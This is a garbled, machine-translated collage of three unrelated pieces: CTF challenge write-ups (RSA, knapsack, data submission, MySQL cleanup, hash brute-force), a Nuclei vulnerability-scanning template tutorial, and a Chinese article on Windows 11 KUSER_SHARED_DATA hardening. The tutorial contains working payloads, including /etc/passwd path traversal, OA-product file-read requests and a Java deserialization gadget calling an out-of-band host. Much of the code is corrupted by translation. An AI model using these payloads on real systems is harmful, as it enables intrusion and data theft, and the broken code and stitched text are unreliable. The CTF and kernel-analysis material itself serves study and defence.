ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)}

心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください

image-20240428205017240

image-20240428205017240

フラグ{MD5(MIスマートバンド5_REDMI K40_128)}

フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14}

3. babyrsa

ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか?

ソースコード:

#task.py

#!/usr/bin/env python3

# - * - coding: utf-8-* -

秘密のインポートフラグから、init

crypto.util.Numberインポートから *

sage.allからimport *

gmpy2インポートirootから

m=bytes_to_long(flag.encode())

r=getPrime(128)

p=init

#範囲(r-1):の場合

#p +=next_prime(init)

#arsert iroot(p、3)[1]==1

Q=getPrime(12)

#n=p*q*r

n=r ** 4*q

E=getPrime(17)

c=pow(m、e、n)

印刷(f'r={r} ')

print(f'e={e} ')

印刷(f'c={c} ')

#R=287040188443069778047400125757341514899

#E=96001

#c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

Qを取得するために12ビットの素数を爆破してから復号化します

crypto.util.Numberからlong_to_bytesをインポートします

R=287040188443069778047400125757341514899

E=96001

c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625

#指数のモジュラスが実際にr ** 4であると仮定すると

n=r ** 4

#emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります

#RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n)

#ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません

phi_n=r ** 4 -r ** 3

d=inverse(e、phi_n)

#メッセージを復号化します

m=pow(c、d、n)

#番号をバイトに変換します

メッセージ=long_to_bytes(m)

印刷(メッセージ)

#flag {3b0ce326141ea4f6b5bf2f37efbd1b42}

4. バックパック

BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化

#!/usr/bin/env python3

# - * - coding: utf-8-* -

sage.allからimport *

秘密のインポートフラグから

crypto.util.Numberインポートから *

数学からインポートlog2から

クラスナープサック:

def __init __(self、n、m):

self.m=[]

self.n=n

self.m=self.pre(m)

self.a=0

self.b=0

def pre(self、m):

tmp_m=bin(m)[2:]

t=[]

TMP_M:のTMPの場合

T.Append(int(tmp))

tを返します

def get_m(self):

seq=[randint(2 ** 34,2 ** 35)for _ in range(self.n)]

self.m=seq

def calc_denity(self):

t=log2(max(self.m))

d=self.n/t

印刷(d)

def enc(self):

self.get_m()

self.calc_dences()

c=0

範囲のt(len(self.m)):

c +=self.m [t] * self.m [t]

印刷(f'c={c} ')

print(f'm={self.m} ')

__NAME __=='__ Main __' :の場合

m=bytes_to_long(flag.encode())

n=m.bit_length()

k=ナップサック(n、m)

k.enc()

#c=231282844744

#M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、23936341812、31011714749、30524482330、21733333371593、17530715307153071530715307153071530717153071530715307153071530715307153071530715307153071530715307153071530715307153071715チ19140841231、33846825616、17334386491、28867755886、2935454582、21758322019、27261411361、31465376167、26145493792、270792、270792、2707992 33514052206、25397635665、21970496142、30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、21108080920]

Sagemathで実行:

crypto.util.Number inmort long_to_bytesから

C=231282844744

M=[27811518167、19889199464、19122558731、1966624823、25670001067、30690729665、

23936341812、31011714749、30524482330、21737374993、17530717152、19140841231、

33846825616、17334386491、288677555886、29354544582、21758322019、27261411361、

31465376167、26145493792、27075307455、33514052206、25397635665、21970496142、

30801229475、22405695620、18486900933、27071880304、17919853256、18072328152、

21108080920]

l=block_matrix([[1、matrix(zz、m)]、[0、c]])。lll())。

L:の行

row [-1]==0およびlen(set(row [:-1]))==1:の場合

#最後の要素を除くすべての要素が同じであると仮定すると同じです

ans=[abs(i)in ow in ow in [:-1]]

ans=int( ''。join(map(str、ans))、2)

print(long_to_bytes(ans))

5. ターゲットを絞ったデータ収集

OpenPyxlをインポートします

リクエストをインポートします

インポート時間

urllib.parseインポートurlencodeから

burp0_url='http://121.40.65.125:23328/submit'

Def devery_name_and_id(input_file、output_file):

wb=openpyxl.load_workbook(input_file)

ws=wb.active

ws.iter_rows(min_row=1、max_col=1、max_row=ws.max_row、values_only=true):の行の場合

行[0] :の場合

名前、id_number=row [0] .split( '----')#extrame name and Identityカード

印刷(名前、id_number)

Age=2024-int(id_number [6:10])

if(int(id_number [10:12])4):

年齢- =1

sexx=u'male '

burp0_json={'address':' asd '、' age ': str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard': id number、' name ': '' '' 'position ':' as '、' sex': sexx}

sexx2=u'female '

burp0_json1={'address':' asd '、' age '3: str(age)、 'ethnicity ':' as '、' experience ': '1'、 'idcard'3360 id _number、' name ': '' '、 'position ':' as '、' sex': sexx2}

try:

r0=requests.post(burp0_url、json=burp0_json)

r1=requests.post(burp0_url、json=burp0_json1)

print(r0.request.body)

print(r0.text、r1.text)

#time.sleep(0.5)

requests.exceptions:を除く

print( 'err')

#time.sleep(2)

#ws.append([name.strip()、id_number.strip()])

#wb.save(output_file)

wb.close()

__name__=='__main __' :の場合

input_file='data1.xlsx'

output_file='deprosed_data.xlsx' #Noの使用、破棄されます

devery_name_and_id(input_file、output_file)

6. 天気

レビューbundle.js

image-20240428213212351

image-20240428213230335

アクセスするパラメーターを取得します

Image

7.mysqlクリーンアップ

ヒント:

要件に応じて、データベースからいくつかのユーザーデータを完全に削除するには、提供されたMySQLコンテナに接続してすべてのCTFテーブルを削除してください。ユーザーIDは5142、2123、1169、および8623です。これらのユーザーを徹底的にクリーンアップする必要があり、サーバーでは残りのデータを見つけることはできません[および他のユーザーデータも変更できません。操作が成功すると、システムはCTF.FLAGテーブルにフラグデータを入力します。 (MySQL CTFユーザーパスワードPSWD@123)

( '5142'、 '2123'、'1169 '、' 8623 ')のushows_id in(' 5142 '、' 2123 '、' 18623 ')から削除します。

( '5142'、 '2123'、'1169 '、' 8623 ')inuser_id in(' 5142 '、' 2123 '、' 8623 ');

userlog where where user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

user_id in( '5142'、 '2123'、'1169 '、' 8623 ');

( '5142'、 '2123'、'1169 '、' 8623 ')でid(' 5142 '、' 2123 '、'1169'、 ');

テーブルを再構築し、削除後に残りのデータをクリアします

Alter Tableユーザーエンジン=innodb;

Alter Table userlog Engine=innodb;

Table TransactionHistory Engine=Innodbを変更します。

Alter Table ShopphingCart Engine=Innodb;

Alter Table Orders Engine=Innodb;

image-20240428213639377

8. ファントムスクエア

第3レベルのマジックスクエアには8つの結果しかありません。もう数回試してみてください

Hashlibをインポートします

ランダムをインポートします

文字列をインポートします

#文字セットを英数字として定義します

charset=string.ascii_letters + string.digits

true:

#チャーセットからランダムな4文字列を生成します

rand_str='' .join(random.choice(charset)for _ in _ in range(4)) + 'cyhqp8lsgzyjtnud'

#文字列のSHA-256ハッシュを計算します

hash_output=hashlib.sha256(rand_str.encode())。hexdigest()

#ハッシュがターゲットハッシュと一致するかどうかを確認します

hash_output=='11f8af166cc28e24b4646cc300436f4d4bf8e11b2327379331a3eca2d5fc7c0c'3360の場合

print(rand_str [:4])#一致が見つかった場合は最初の4文字を印刷します

壊す

'' '

[2、7、6、9、5、1、4、3、8]

[2、9、4、7、5、3、6、1、8]

[4、3、8、9、5、1、2、7、6]

[4、9、2、3、5、7、8、1、6]

[6、1、8、7、5、3、2、9、4]

[6、7、2、1、5、9、8、3、4]

[8、1、6、3、5、7、4、9、2]

[8、3、4、1、5、9、6、7、2]

4 3 8

9 5 1

2 7 6

'' '

image-20240428214506459

1。スクリプトの構文形式

ケース感度

インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。

キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。

リスト:短い水平線を使用して、リスト内のアイテムを表します。

コメント:#から始まる行はコメントです。

文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。

IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。

情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。

名前:テンプレート名、この提案はIDと同じです

重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。

説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。

タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。

私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。

試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます

2。一般的な核コマンド

1。テンプレート形式を確認します

Nuclei -T test.yaml -validate

2.テンプレートとターゲットを指定します

Nuclei -T test.yaml -u http://exam.com

3。バッチスキャン

Nuclei -T test.yaml -l Target.txt

4. Socks5プロキシスキャンを指定します

Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890

3。スクリプトの例

ID:ファイルインクルード#テンプレートの一意の識別子

info:#名前、著者、バージョンなど、テンプレートの基本情報。

name:ファイルには、スクリプトの名前が含まれています

著者: bakclion #template著者

severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です

説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ

Reference: http://www.baidu.com #Reference Source

tags:テスト#categoryタグ

requests:#ターゲットと対話する方法のリクエストセクションを定義します

-Method: getやpostなどの#httpメソッドを取得する

PATH: #requested Path

- '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd'

Headers: #Requestヘッダー

user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36'

Matchers:

-Type:ステータス#マッチバックパックステータス

Status:

-200

-Type: REGEX #Match戻りコンテンツ

パート:ボディ

regex:

- 'root:x:0:0:root3360/root3360/bin/bash'

iv。スクリプト構成

1。開始

id: landray-oa-fileread

info:

name: landray-oa-fileread

著者:バックライオン

重大度:高

説明: |

lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です

fofa: app='landray-oa system'

Reference: https://github.com/backslion

tags: fileread、landray

2.request

を取得します

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties'

post

requests:

-Method:投稿

PATH:

- '{{baseurl}}/sys/ui/extend/varkind/custom.jsp'

Headers:

Content-Type:アプリケーション/x-www-form-urlencoded

body: 'var={' body': {'file':'file: ///etc/passwd'}} '

raw

requests:

-Raw:

- |

post /spirit/interface/gateway.php http/1.1

host: {{hostname}}

Content-Type:アプリケーション/x-www-form-urlencoded

json={'url':'/general /././mysql5/my.ini '}

ジャンプ

-method: get

PATH:

- '{{baseurl}}'

Redirects: True

max-redirects: 2

または

リクエスト:

-Raw:

- |

get/zentao/api-getmodel-editor-save-filepath=bote http/1.1

Redirects: True

max-redirects: 3

パス

リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。

{{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。

{{randstr}}:これはランダムな文字列です。

{{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。

{{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。

{{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。

{{host}}:example.comなどのホスト名を表します。

{{port}}:ポート番号、たとえば443を示します。

{{path}}: /seeyon /loginなどのパスを表します。

{{file}}:bar.phpなどのファイル名を表します。

{{Scheme}}:HTTPSなどのプロトコルを表します。

{{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。

MD5():これは、MD5によって変換された予約された単語です

変数値

{{baseurl}} https://example.com:443/foo/bar.php

{{rooturl}} https://example.com:443

{{hostname}} example.com:443

{{host}} example.com

{{port}} 443

{{path}} /foo

{{file}} bar.php

{{Scheme}} https

一撃の停止

一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。

リクエスト:

-Method: GET

PATH:

- '{{baseurl}}'

- '{{baseurl}}/login'

- '{{baseurl}}/main'

- '{{baseurl}}/index'

Stop-at-first-match: true

oob

Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。

リクエスト:

-Raw:

- |

get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1

host: {{hostname}}

Java Deserialization

raw:

- |

post /index.faces; jsessionid=x http /1.1

host: {{hostname}}

Accept-Encoding: gzip、deflate

Content-Length: 1882

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}}

3.Matcher

Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています

Matchers:

-Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL

DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice

- 'status_code_1==200 status_code_2==302'

- 'all_headers_1==' admin 'all_headers_2==' index ''

condition:と#need上記の2つの条件を同時に満たす

-Type:ワード

Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。

- 「admin.php」

- '61646D696E2E706870'

- '{{match_str}}'

Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex

#次の設定は基本的に一般的です(!注:DSLタイプを除く)

PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。

条件:または#match結果論理操作と| or

ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false

-Type:ステータス

Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています

-200

-Type: REGEX

regex:#Stringsliceを一致させるデータの規則性を使用します

- '。*\ admin.php。*'

-Type:バイナリ

binary: #sistingsliceを一致させるデータのバイナリを使用します

- '61646D696E2E706870'

-Type:サイズ

size: #returnパケットデータサイズ(注:ボディデータを参照)intslice

-1234

DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。

変数名説明例出力データContent_Length

コンテンツ長ヘッダー

content_length

12345

status_code

応答ステータスコード

status_code

200

all_headers

ヘッダー情報に戻ります

身体情報を返します

body_1

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

user_agent

xxxx

header_name

ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます

set_cookie

xxx=

在本文中,我們將為讀者詳細介紹在Windows 11內部預覽版中,KUSER_SHARED_DATA結構體發生了哪些新變化。下面,我們開始進入本文的下篇部分!

(接上文)

知道了這些,我們就會明白:在調用nt!MiReservePtes之前,就可以計算出對應於“靜態”的KUSER_SHARED_DATA的PFN數據庫的適當索引。這實質上意味著我們正在從PFN數據庫中檢索相應PFN記錄(一個MMPFN結構)的虛擬地址。

我們可以把它看作是PFN數據庫的基址,在本例中是0xffffc38000000000,它參與了相關操作。而最終的虛擬地址0xffffc380002df8a0(與“靜態”KUSER_SHARED_DATA關聯的PFN記錄的虛擬地址)可以在下面的RBP中看到。將來,它將用作nt!MiMakeProtectionPfnCompatible函數調用的第二個參數。

1.png

我們可以通過將上述虛擬地址解析為MMPFN結構體來驗證這一點,以查看PteAddress成員是否對應於“靜態”KUSER_SHARED_DATA的已知PTE。我們知道,PTE位於0xffffb7fbc0000000。

1.png

由於PFN結構體的PteAddress成員與“靜態”KUSER_SHARED_DATA關聯的PTE的虛擬地址是對齊的,這說明它就是與“靜態”KUSER_SHARED_DATA關聯的PFN記錄。

然後,這個值被用於對nt!MiReservePtes的調用,我們可以通過前面的兩張圖來確認這一點。根據__FastCall調用約定,該函數的第一個參數將進入RCX寄存器。這個參數實際上是一個nt!_MI_SYSTEM_PTE_TYPE結構體。

根據CodeMachine的文章來看,當對nt!MiReservePtes的調用發生時,這個結構體被用來定義如何進行內存分配,以便為正在創建的PTE預留內存。當用nt!MiReservePtes請求分配內存時,可能暗示了從系統PTE區域分配一塊虛擬內存。系統PTE區域被用於內存的映射視圖、內存描述符列表(MDL)和其他內容。有了這一信息,結合我們對兩個虛擬地址是如何被映射到同一物理內存頁的了解,就能確定:系統正在使用內存的不同'視圖'(例如,兩個虛擬地址對應一個物理地址,所以,儘管兩個虛擬地址包含相同的內容,但可能具有不同的權限)。此外,我們可以確認分配的內存來自系統PTE區域,因為nt!_MI_SYSTEM_PTE_TYPE結構體的VaType成員被設置為9,這是一個與MiVaSystemPtes對應的枚舉值。這意味著,在這種情況下,分配的內存將來自系統PTE的內存區域。

1.png

我們可以看到:在調用發生後,返回值是一個內核模式的地址,位於系統PTE區域的同一地址空間內,並且是由BasePte成員定義的。

1.png

此時,OS基本上已經以未填充的PTE結構體的形式從系統PTE區域分配了內存,該區域通常用於映射內存的多個視圖。下一步將是正確配置該PTE,並將其分配給一個內存地址。

之後,將繼續調用nt!MiMakeProtectionPfnCompatible。如前所述,該函數的第二個參數將是來自PFN數據庫的PFN記錄的虛擬地址,該記錄與應用於“靜態”KUSER_SHARED_DATA的PTE相關聯。

傳遞給nt!MiMakeProtectionPfnCompatible的第一個參數是常數4。這個價值從何而來?看一下ReactOS,我們可以看到兩個常數,它們用於描述PTE強制執行的內存權限。

1.png

根據ReactOS的說法,還有一個名為MI_MAKE_HARDWARE_PTE_KERNEL的函數,也利用了這些常數;其原型和定義可以在下文中看到。

1.png

該函數提供了nt!MiMakeProtectionPfnCompatible和nt!MiMakeValidPte(稍後將看到的函數)所公開的功能的組合。而值4或MM_READWRITE實際上是名為MmProtectTopTemask的數組的索引。該數組負責將請求的頁面權限(4,或MM_READWRITE)轉換為與PTE兼容的掩碼。

1.png

我們可以看到,前五個元素為:{0,PTE_READONLY,PTE_EXECUTE,PTE_EXECUTE_READ,PTE_READWRITE}。從這裡我們可以確認,以4作為下標訪問這個數組,就能訪問PTE_READWRITE的PTE掩碼,這正是nt!MmWriteableSharedUserData所期望的內存權限,因為我們知道:這應該是KUSER_SHARED_DATA的“新映射視圖”,它是可寫的。同時,別忘了:與“靜態”KUSER_SHARED_DATA關聯的PFN記錄的虛擬地址是通過RDX在函數調用中使用的。

1.png

在函數調用之後,返回值是一個“與PTE兼容”的掩碼,它表示一個可讀和可寫的內存頁面。

1.png

到目前為止,我們已經掌握了:

1、當前為空的PTE地址;

2、PTE的“骨架”(例如,可提供可讀/可寫的掩碼)

考慮到這一點,現在讓我們將注意力轉向對nt!MiMakeValidPte的調用。

1.png

nt!MiMakeValidPte實際上提供了前面所說的ReactOS函數MI_MAKE_HARDWARE_PTE_KERNEL的“其餘”功能。並且,nt!MiMakeValiePte需要以下信息:

1、 新創建的空PTE的地址(這個PTE將被應用到nt!MmWriteableUserSharedData的虛擬地址);目前這個地址位於RCX中。

2、 一個PFN;目前位於RDX中(例如,不是來自PFN數據庫的虛擬地址,而是原始的PFN“值”)。

3、 一個“兼容PTE的”掩碼(例如,我們的讀/寫屬性);目前位於R8中。

所有這些信息都可以在下面的屏幕截圖中看到。

就“將同一物理內存映射到不同視圖”而言,這裡最重要的組成部分是RDX中的值,它是KUSER_SHARED_DATA的實際PFN值(原始值,而不是虛擬地址)。讓我們首先回憶一下,PFN乘以一個頁面的大小(0x1000字節,或4KB)後,實際上就是一個物理地址。這是真的,特別是在我們的案例中,因為我們正在處理最細化的內存類型:4KB對齊的內存塊。由於沒有更多的分頁結構需要索引——這是PFN最常見的用途,因此,這就意味著:在這種情況下,PFN將被用來獲取最終的、4KB對齊的內存頁。

我們知道,這其實就是在正在執行的函數(nt!MiProtectSharedUserPage)裡面創建了一個PTE(通過nt!MiReservePtes和nt!MiMakeValidPte)。正如我們所知,這個PTE將被應用於一個虛擬地址,並用於將所述虛擬地址映射到一個物理頁面,本質上是通過與PTE相關的PFN實現的。目前,將用於這種映射的PFN被存儲在RDX中。在較低的水平上,RDX中的這個值乘以一個頁面的大小(4KB),就是虛擬地址被映射到的實際物理頁面。

有趣的是,RDX中的這個值(在第二次調用nt!MI_READ_PTE_LOCK_FREE後保留下來的值),就是與KUSER_SHARED_DATA相關的PFN! 換句話說,我們給這個新創建的PTE分配的虛擬地址(最終應該是nt!MmWriteableUserSharedData)將映射到KUSER_SHARED_DATA結構體所在的物理內存,因此,當nt!MmWriteableUserSharedData的內容被更新時,該物理內存也將被更新。由於“靜態”的KUSER_SHARED_DATA(0xfffff78000000000)也位於相同的物理內存中,它也會隨之更新。實際上,即使只讀的“靜態”KUSER_SHARED_DATA不允許執行寫操作,它仍然會收到nt!MmWriteableUserSharedData的更新,也就是說:它是可讀和可寫的。這是因為這兩個虛擬地址都會映射到同一個物理內存,所以,只要對其中一個執行寫操作,另一個也會隨之發生變化!

既然如此,也就沒有很好的理由讓“正常的”KUSER_SHARED_DATA結構地址(例如0xfffff78000000000)不是只讀的,因為現在有另一個內存地址可以用來代替它。這樣做的好處是,可寫的“版本”或“映射”(即nt!MmWriteableUserSharedData)是隨機的!

現在繼續,我們告訴操作系統:我們需要一個有效的、可讀和可寫的PTE,它由KUSER_SHARED_DATA的PFN(用於所有意圖和目的的物理地址)提供支持,並且將被寫入我們已經從系統PTE區域分配的PTE(因為這個內存用於映射“視圖”)。

在執行該函數後,我們可以看到情況就是這樣的!

1.png

下一個函數調用nt!MiPteInShadowRange實際上只是進行邊界檢查,看看我們的PTE是否位於影子空間中。回想一下前面的內容,對於內核虛擬地址影子(KVAS)的實現來說,分頁結構是獨立的:一組用於用戶模式,一組用於內核模式。通常來說,“影子空間”(也稱為用於用戶模式尋址的結構體)是位於nt!MiPteInShadowRange的檢查範圍內的。不過,由於我們處理的是一個內核模式頁面,因此,它所對應的PTE肯定不在“影子空間”內。就我們的目的而言,這並不是我們真正感興趣的東西。

在這個函數調用之後,將會執行mov qword ptr[rdi],rbx指令。這將使用nt!MiMakeValidPte函數所創建的相應位,來更新我們分配的PTE(它之前是空白的)!這樣,我們就得到了一個有效的PTE,並被保存到位於虛擬地址0xFFFF78000000000處的KUSER_SHARED_DATA所在的同一段物理內存中!

1.png

1.png

此時,我們離目標符號nt!MmWriteableUserSharedData僅有幾條指令,該符號剛才用新的ASLR映射的KUser_Shared_Data視圖進行了更新。然後,就可以將“靜態”KUSER_SHARED_DATA設為只讀(回想一下,在加載時,它還是可讀/寫的!)。

1.png

目前,通過RDI,我們就能得到用於新的、可讀/寫的PTE的地址和KUSER_SHARED_DATA的隨機映射視圖(通過nt!MiReservePtes生成)。上面的截圖顯示,會對RDI執行一些位運算,同時,我們可以看到頁表項的基址也會參與運算。這些都是簡單的編譯器優化,用於將一個給定的PTE轉換為PTE所應用的虛擬地址。

這是一個必要的步驟,回顧一下,到此為止,我們已經成功地從系統PTE區域生成了一個PTE,並將其標記為讀/寫,告訴它使用“靜態”的KUSER_SHARED_DATA作為虛擬內存對應的物理內存,但是我們並沒有將其實際應用於虛擬內存地址,該地址將由這個PTE來描述和映射!我們要應用這個PTE的虛擬地址,將是我們要存儲在nt!MmWriteableUserSharedData中的值!

讓我們再次回顧一下把新的PTE轉換為相應虛擬地址的位運算。

1.png

正如我們所知,RDI寄存器存放的就是目標PTE的地址。同時我們還知道,檢索與給定虛擬地址相關的PTE的步驟如下所示(即通過適當的索引訪問PTE數組):

1、 通過將虛擬地址除以一個頁面的大小(在標準Window系統上為0x1000字節),將虛擬地址轉換成虛擬頁面號(VPN)。

2、 用上述數值乘以PTE的大小(在64位系統上為0x8字節)。

3、 把這個值加到頁表條目數組的基址上。

這相當於以PteBaseArray[VPN]方式來訪問PTE數組。由於我們知道如何從虛擬地址轉換為PTE,因此,只要將這些步驟倒過來,就能檢索與給定PTE相關的虛擬地址。

知道PTE後,“反轉”過程如下所示:

1、 將RDI中的PTE(目標PTE)減去PTE數組的基址,以提取PTE數組的索引;

2、 用這個值除以PTE的大小(0x8字節)來獲取虛擬頁面號(VPN);

3、 用這個值乘以一個頁面的大小(0x1000)來檢索虛擬地址。

我們還知道編譯器會生成一條sar rdi,10H指令,對上述步驟生成的值進行算術右移,注意,這個過程其符號並不會發生變化。如果在WinDbg中復現這個過程,我們可以看到,最終值(0x0000A580A4002000)將轉換為地址0xFFFFA580A4002000。

1.png

將計算得到的值與內核生成的值進行比較,我們可以看到,它就是對應於PTE的虛擬地址,該地址將映射到KUSER_SHARED_DATA所在的物理內存,並且兩個地址最多匹配到0xffffa580a4002000!我們可以斷定,這些位運算屬於將PTE轉換為虛擬地址的宏的一部分,這是編譯器優化過的代碼!

1.png

1.png

該功能在ReactOS中以名為mi_write_valid_pte的函數形式提供。正如我們所看到的,它本質上不僅將PTE內容寫入PTE地址(在本例中是通過nt!MiReservePtes從系統PTE區域分配內存),而且還通過函數miptetoaddress獲取與PTE相關聯的虛擬地址。

1.png

太棒了!但是,我們還需要做最後一件事,那就是將“靜態”KUSER_SHARED_DATA的地址轉換為只讀的。我們已經看到,當前正在排隊等待調用nt!MiMakeProtectionPfnCompatible函數。在保存內存權限常量的RCX中,我們可以看到其值為1,或者MM_READONLY的值——還記得之前為KUSER_SHARED_DATA的讀/寫映射創建的兼容PTE的掩碼嗎?換句話說,該頁面所擁有的唯一內存“權限”,就是讀取。

在RDX中,存放的是我們對PFN數組的索引;通過將'靜態'KUSER_SHARED_DATA的PTE的虛擬地址(位於0xffffb7fbc000000的PTE)與位於PFN結構MMPFN中的PTE進行比較,我們可以確定:我們已經得到了與'靜態'KUSER_SHARED_DATA相關聯的PFN,從而得到了一個與PTE兼容的值。

1.png

1.png

與上次一樣,現在只是有了一個只讀頁面,我們還需調用nt!MiMakeValidPte,通過其PTE的虛擬地址(0xFFFFB7C000000000)為“靜態”KUSER_SHARED_DATA分配只讀權限。

1.png

調用成功後,會生成一個PTE,以用於只讀頁面。

1.png

“靜態”KUSER_SHARED_DATA結構體也是通過前面提到的相同方法(ReactOS中提供的方法稱為MI_WRITE_VALID_PTE)進行更新的。

1.png

就我們的目的而言,對於nt!MiProtectSharedUserPage所做的各種事情,我們感興趣的就是這些!我們現在有兩個虛擬地址都映射到KUSER_SHARED_DATA所在的物理內存(一個地址是只讀的,對應於0xfffff78000000000處的'靜態'KUSER_SHARED_DATA結構體,另一個則對應於新的nt!MmWriteableUserSharedData版本,它是隨機化的,並且是可讀/寫的)!

例如,我們現在可以在IDA中看到,KUSER_SHARED_DATA的更新過程,是通過隨機化和可寫的新符號來完成的。下圖取自nt!KiUpdateTime,在這裡我們可以看到KUSER_SHARED_DATA的幾個偏移量被更新了(即變為0x328和0x320)。同樣,在同一張圖中,我們還可以看到,當讀取來自KUSER_SHARED_DATA的成員時,Windows將使用舊的“靜態”硬編碼地址(在本例中,它們是0xfffff78000000008和0xfffff78000000320)。

1.png

小結很明顯,濫用這個代碼洞的原語已不可用,之前被攻擊者利用的靜態結構體現在已經得到了安全加固。然而,對於如今的漏洞利用過程來說,要想實現代碼執行,必須首先設法繞過kASLR機制——儘管這不是非常困難,但是,如果攻擊者無法繞過kASLR,就無法將代碼寫入內存。不言而喻,如果攻擊者能夠在內核加載過程中通過競態條件或其他原語儘早將代碼寫入內存,比如將代碼寫入靜態的0xfffff78000000000+0x800處的KUSER_SHARED_DATA代碼洞中,就能繞過這個障礙,因為我們知道:當內核第一次被映射到內存時,這個結構體仍然是可讀和可寫的。然而,當內核加載完成後,這個區域將變成只讀的。但是,儘管如此,這仍然是可能的,因為初始化發生在內核加載過程中。實際上,有一些已公開的exploit就是利用了這個原語,例如chompie1337的SMBGhost概念驗證就是如此,所以,作為防禦方,不僅需要提高攻擊者的門檻,還需要了解公開exploit的最新動向。雖然本文介紹的內容是一個相當小眾的變動/緩解措施,但我認為它非常有趣,至少在此過程中學到了很多關於系統PTE區域和內存視圖的知識。

如果您有任何意見、疑問、更正或建議,請隨時聯繫我。

最後,祝大家閱讀愉快!

